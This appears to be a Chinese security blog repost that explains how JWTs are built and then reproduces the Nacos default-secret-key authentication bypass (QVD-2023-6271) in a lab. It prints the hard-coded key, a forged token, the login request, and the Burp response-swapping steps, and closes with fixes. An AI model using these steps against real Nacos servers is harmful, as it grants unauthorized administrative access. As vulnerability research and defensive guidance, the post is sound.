nacos 身份认证绕过漏洞(QVD-2023-6271)

admin 2024年10月9日12:59:39评论58 views字数 3290阅读10分58秒阅读模式

JWT(Json Web Token)

0x00 JWT构成

Json Web Token简称JWT,用做用户身份验证。那么其结构长什么样呢,下面我会通过一个例子去分析。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pF3q46_CLIyP_1QZPpeccbs-hC4n9YW2VMBjKrSO6Wg

上面是一串JWT格式的字符串,在线解密查看内容:https://jwt.io/

nacos 身份认证绕过漏洞(QVD-2023-6271)

从解密的结果可以看到其由三部分组成(头部、载荷、签名)

Header
Payload
Signature

为什么说它(JWT)的名字里面带有Json不难看出,因为其解密出来的内容是按照Json格式存储的,下面通过上述的一个JWT例子对其三部分简单介绍一下

Header

Header通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如SHA256RSA

  • 明文
{
  "alg": "HS256",
  "typ": "JWT"
}

不难看出typ为类型的缩写,alg为算法的缩写。然后,这个JSONBase64编码,形成JSON Web Token的第一部分。

  • 密文
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload

令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。

  • 明文
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

同样对其base64编码得到第二部分

  • 密文
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

Signature

这部分为创建签名部分,必须采用headerpayload,密钥三部分处理,利用header中指定算法进行签名。

例如HS256(HMAC SHA256),签名的构成为:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload), 
  123
)

然后将这部分同样base64编码形成JWT第三部分。

一张图看懂加密后的JWTnacos 身份认证绕过漏洞(QVD-2023-6271)

0x01 JWT适用场景

Authentication(鉴权):

这是使用JWT最常见的情况。一旦用户登录,每个后续请求都将包含JWT,允许用户访问该令牌允许的路由,服务和资源。单点登录是当今广泛使用JWT的一项功能,因为它的开销很小,并且能够轻松地跨不同域使用。

Information Exchange(信息交换)

JSON Web Tokens是在各方之间安全传输信息的好方式。因为JWT可以签名:例如使用公钥/私钥对,所以可以确定发件人是他们自称的人。此外,由于使用标头和有效载荷计算签名,因此您还可以验证内容是否未被篡改。

现在了解了Json Web Token的组成,下面理解其攻击手法就比较容易了。接下来实战复现一下。

nacos token.secret.key身份认证绕过漏洞(QVD-2023-6271)复现

0x00 简介

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。

0x01 漏洞概述

目前Nacos身份认证绕过漏洞(QVD-2023-6271),也叫做NVDB-CNVDB-2023674205,暂无CVE编号,开源服务管理平台Nacos在默认配置下未对token.secret.key进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

0x02 影响版本

0.1.0 <= Nacos <= 2.2.0

0x03 环境搭建

漏洞版本从GitHub上下载带有漏洞的源码

https://github.com/alibaba/nacos/releases

nacos 身份认证绕过漏洞(QVD-2023-6271)

可以选择2.2.0以下版本,比如下面这个

nacos 身份认证绕过漏洞(QVD-2023-6271)

解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动(java8以上环境运行)

nacos 身份认证绕过漏洞(QVD-2023-6271)

拼接路径nacos到路径

http://192.168.2.217:8848/nacos/#/login

nacos 身份认证绕过漏洞(QVD-2023-6271)

0x04 漏洞复现

nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

nacos 身份认证绕过漏洞(QVD-2023-6271)

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

0x05 获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:在https://jwt.io/中:输入默认key

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:

{
  "sub": "nacos",
  "exp": 1690889280
}

在这里注意:1690889280这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年08月01日19:28:00,在这里面的时间戳时间是8月2号:

nacos 身份认证绕过漏洞(QVD-2023-6271)

注意jwt.io中的secret base64 encoded,要勾选

nacos 身份认证绕过漏洞(QVD-2023-6271)

复制加密的jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MDk3OTE1OX0.V6IUQeYyRER9mp-SCwfQmCXJjrDBmJp_eGGWR8NeoU8

复制上面得到的值,抓包修改包,添加Authorization

请求包如下:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.2.217:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.2.217:8848
Connection: close
Referer: http://192.168.2.217:8848/nacos/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MDk3OTE1OX0.V6IUQeYyRER9mp-SCwfQmCXJjrDBmJp_eGGWR8NeoU8

username=nacos&password=nacos

可以看到返回200,说明登录成功,利用这个可以绕过身份认证,进入后台使用Burp拦截网站请求,并拦截返回包。

nacos 身份认证绕过漏洞(QVD-2023-6271)

0x06 利用获取token登录后台

在这里使用任意账号登录之后,再修改返回包就行了,用burp拦截:

nacos 身份认证绕过漏洞(QVD-2023-6271)

0x07 替换返回包

然后Forward,这边返回的信息肯定是无效的:

nacos 身份认证绕过漏洞(QVD-2023-6271)

在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:

nacos 身份认证绕过漏洞(QVD-2023-6271)

全部放包

nacos 身份认证绕过漏洞(QVD-2023-6271)

0x08 登录成功

nacos 身份认证绕过漏洞(QVD-2023-6271)

0x09 修复方式

1.自行修改key

2.更新到最新版本

原文始发于微信公众号(不懂安全):nacos 身份认证绕过漏洞(QVD-2023-6271)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月9日12:59:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nacos 身份认证绕过漏洞(QVD-2023-6271)http://cn-sec.com/archives/1928297.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息